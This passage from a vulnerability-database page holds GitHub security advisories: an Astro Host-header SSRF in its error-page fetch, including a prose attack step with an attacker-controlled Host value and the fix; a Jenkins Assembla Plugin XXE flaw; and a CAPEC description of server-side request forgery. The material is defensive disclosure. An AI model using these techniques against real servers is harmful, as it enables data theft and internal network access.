`default-handler.ts` constructs the error page URL using the origin from `request.url` and fetches it via `prerenderedErrorPageFetch`, which defaults to global `fetch`. The response body is served to the client.\n\nAn attacker sends a request with `Host: attacker-host:port`, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.\n\n## Remediation\n\nThe error page fetch origin is now validated against `allowedDomains` before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to `localhost`. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.\n\n## Credit\n\n5ud0 / Tarmo Technologies",
  "id": "GHSA-2pvr-wf23-7pc7",
  "modified": "2026-06-16T14:38:06Z",
  "published": "2026-06-16T14:38:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Host header SSRF in prerendered error page fetch"
}

GHSA-2Q27-6P2H-Q6R3

Vulnerability from github – Published: 2026-06-24 15:31 – Updated: 2026-06-24 15:31
VLAI
Details

Jenkins Assembla Plugin 1.4 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks, allowing attackers able to control the responses of the configured Assembla server to extract secrets from the Jenkins controller or perform server-side request forgery.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-24T14:17:36Z",
    "severity": "HIGH"
  },
  "details": "Jenkins Assembla Plugin 1.4 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks, allowing attackers able to control the responses of the configured Assembla server to extract secrets from the Jenkins controller or perform server-side request forgery.",
  "id": "GHSA-2q27-6p2h-q6r3",
  "modified": "2026-06-24T15:31:48Z",
  "published": "2026-06-24T15:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57303"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2026-06-24/#SECURITY-3692%20(1)"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.